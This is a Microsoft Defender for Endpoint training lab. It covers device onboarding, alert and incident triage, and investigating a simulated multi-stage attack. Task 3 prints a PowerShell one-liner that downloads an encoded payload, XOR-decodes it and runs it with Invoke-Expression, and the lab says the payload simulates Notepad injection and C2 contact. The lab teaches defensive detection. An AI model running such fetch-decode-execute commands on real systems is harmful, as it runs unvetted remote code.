Learning Path 2 - Lab 1 - Exercise 2 - Mitigate Attacks with Microsoft Defender for Endpoint

Lab scenario

Lab overview.

You are a Security Operations Analyst working at a company that is implementing Microsoft Defender for Endpoint. Your manager plans to onboard a few devices to provide insight into required changes to the Security Operations (SecOps) team response procedures.

To explore the Defender for Endpoint attack mitigation capabilities, you will verify successful device onboarding and investigate alerts and incidents created during that process.

Note: An interactive lab simulation is available that allows you to click through this lab at your own pace. You may find slight differences between the interactive simulation and the hosted lab, but the core concepts and ideas being demonstrated are the same.

Task 1: Verify Device onboarding

In this task, you will confirm that the device is onboarded successfully and create a test alert.

  1. If you are not already at the Microsoft Defender XDR portal in your Microsoft Edge browser, go to (https://security.microsoft.com) and login as Admin for your tenant.

  2. In the left-hand menu, under the Assets area, select Devices. Please wait until WIN1 appears in the Devices page before you continue. Otherwise, you might need to repeat this task to see the alerts that will be generated later.

    Note: If you have completed the onboarding process and don’t see devices in the Devices list after an hour, it might indicate an onboarding or connectivity problem.

  3. Select Settings from the left menu bar, then from the Settings page select Endpoints.

  4. Select Onboarding in the Device management section and make sure “Windows 10 and 11” is selected as operating system. The “First device onboarded” message now shows Completed.

  5. Scroll down and under the section “2. Run a detection test”, copy the detection test script by selecting the Copy button.

  6. In the windows search bar of the WIN1 virtual machine, type CMD and choose to Run as Administrator on the right pane for the Command Prompt app.

  7. When the “User Account Control” window is shown, select Yes to allow the app to run.

  8. Paste the script by right-clicking in the Administrator: Command Prompt windows and press Enter to run it.

    Note: The window closes automatically after successfully running the script, and after a few minutes alerts are generated in the Microsoft Defender XDR portal.

Task 2: Investigate alerts and incidents

In this task, you will investigate the alerts and incidents generated by the onboarding detection test script in the previous task.

  1. In the Microsoft Defender XDR portal select Incidents & alerts from the left menu bar, then select Alerts.

  2. In the Alerts pane, select the alert named Suspicious PowerShell commandline to load its details.

  3. Review the Alert story timeline, and then review the Details and Recommendations tabs.

    Note: Under the alert Details tab you can scroll down to the Incident details section and select the Execution incident on one endpoint link to open the incident.

  4. In the Microsoft Defender XDR portal select Incidents & alerts from the left menu bar, then select Incidents

  5. A new incident called Execution incident on one endpoint is in the right pane. Select the incident name to load its details.

  6. Select the Manage incident link (with a pencil icon) and a new window blade appears.

  7. Under Incident tags type “Simulation” and select Simulation (Create new) to create a new tag.

  8. Select the toggle Assign to and add your user account (Me) as owner of the incident.

  9. Under Classification, expand the drop-down menu.

  10. Under Informational, expected activity, select Security testing.

  11. Add any comments if desired and select Save to update the incident and finish.

  12. Review the contents of the Attack story, Alerts, Assets, Investigations, Evidence and Response, and Summary tabs. Devices and Users are under the Assets tab. In a real incident the Attack story tab displays the Incident graph. Hint: Some tabs might be hidden due the size of your display. Select the ellipsis tab (…) to make them appear.

Task 3 Simulate an Attack

Warning: This simulated attack is an excellent source of learning through practice. Only perform the attack in the instructions provided for this lab when using the course provided Azure tenant. You may perform other simulated attacks after this training course is complete with this tenant.

In this task, you will simulate an attack on the WIN1 virtual machine and verify that the attack is detected and mitigated by Microsoft Defender for Endpoint.

  1. On the WIN1 virtual machine, right-click the Start button and choose Windows PowerShell (Admin).

  2. When the “User Account Control” window is shown, select Yes to allow the app to run.

  3. Copy and paste the following simulation script into the PowerShell window and press Enter to run it:

     [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
     ;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');
     $base64String = (Invoke-WebRequest -URI "https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0;
     $decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i];
     $i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes))
    

    Note: If you experience errors (in red) while running the script, you can open the Notepad app and copy the script into a blank file. Make sure word wrap is turned on in Notepad. Copy and run each line of the script separately in PowerShell.

  4. The script will produce several lines of output and a message that it Failed to resolve Domain Controllers in the domain. A few seconds later, the Notepad app will open. A simulated attack code will be injected into Notepad. Keep the automatically generated Notepad instance open to experience the full scenario. The simulated attack code will attempt to communicate to an external IP address (simulating a C2 server).

Task 4: Investigate the simulated attack as a single incident

  1. In the Microsoft Defender XDR portal select Incidents & alerts from the left menu bar, then select Incidents

  2. A new incident called Multi-stage incident involving Defense evasion & Discovery on one endpoint is in the right pane. Select the incident name to load its details.

  3. Under the Attack story tab, collapse the Alerts and Incident details panes to view the full Incident graph.

  4. Mouse over and select the Incident graph nodes to review the entities.

  5. Re expand the Alerts pane (left-side) and select the Play attack story Run icon. This shows the attack timeline alert by alert and dynamically populates the Incident graph.

  6. Review the contents of the Attack story, Alerts, Assets, Investigations, Evidence and Response, and Summary tabs. Devices and Users are under the Assets tab. Hint: Some tabs might be hidden due the size of your display. Select the ellipsis tab (…) to make them appear.

  7. Under the Evidence and Response tab, select IP addresses then select the displayed IP address. In the pop-up window review the IP address details and scroll down and select the Open IP address page button.

  8. Review the contents of the Ip address page Overview, Incidents & alerts and Observed in organizations tabs. Some tabs may not contain and information for the IP address.

You have completed the lab